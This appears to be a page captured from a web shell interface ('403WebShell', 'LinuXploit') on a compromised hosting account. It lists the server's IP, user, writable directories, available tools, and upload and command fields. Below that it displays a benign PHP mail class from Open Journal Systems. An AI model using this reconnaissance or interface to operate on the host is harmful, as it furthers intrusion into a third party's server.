Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/iscmbt-kufa-atu/public_html/iscmbt/classes/mail/mailables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/iscmbt-kufa-atu/public_html/iscmbt/classes/mail/mailables/OpenAccessNotify.php
<?php

/**
 * @file classes/mail/mailables/OpenAccessNotify.php
 *
 * Copyright (c) 2014-2022 Simon Fraser University
 * Copyright (c) 2000-2022 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class OpenAccessNotify
 *
 * @brief Email sent to notify user about issue open access
 */

namespace APP\mail\mailables;

use APP\issue\Issue;
use APP\journal\Journal;
use APP\mail\variables\IssueEmailVariable;
use PKP\mail\Mailable;
use PKP\mail\traits\Configurable;
use PKP\mail\traits\Recipient;
use PKP\mail\traits\Unsubscribe;
use PKP\security\Role;

class OpenAccessNotify extends Mailable
{
    use Configurable;
    use Recipient;
    use Unsubscribe;

    protected static ?string $name = 'mailable.openAccessNotify.name';
    protected static ?string $description = 'mailable.openAccessNotify.description';
    protected static ?string $emailTemplateKey = 'OPEN_ACCESS_NOTIFY';
    protected static array $groupIds = [self::GROUP_OTHER];
    protected static array $fromRoleIds = [self::FROM_SYSTEM];
    protected static array $toRoleIds = [Role::ROLE_ID_READER];

    protected Journal $context;

    public function __construct(Journal $context, Issue $issue)
    {
        parent::__construct([$context, $issue]);

        $this->context = $context;
    }

    protected static function templateVariablesMap(): array
    {
        $map = parent::templateVariablesMap();
        $map[Issue::class] = IssueEmailVariable::class;
        return $map;
    }

    /**
     * Adds a footer with unsubscribe link
     */
    protected function addFooter(string $locale): Mailable
    {
        $this->setupUnsubscribeFooter($locale, $this->context);
        return $this;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit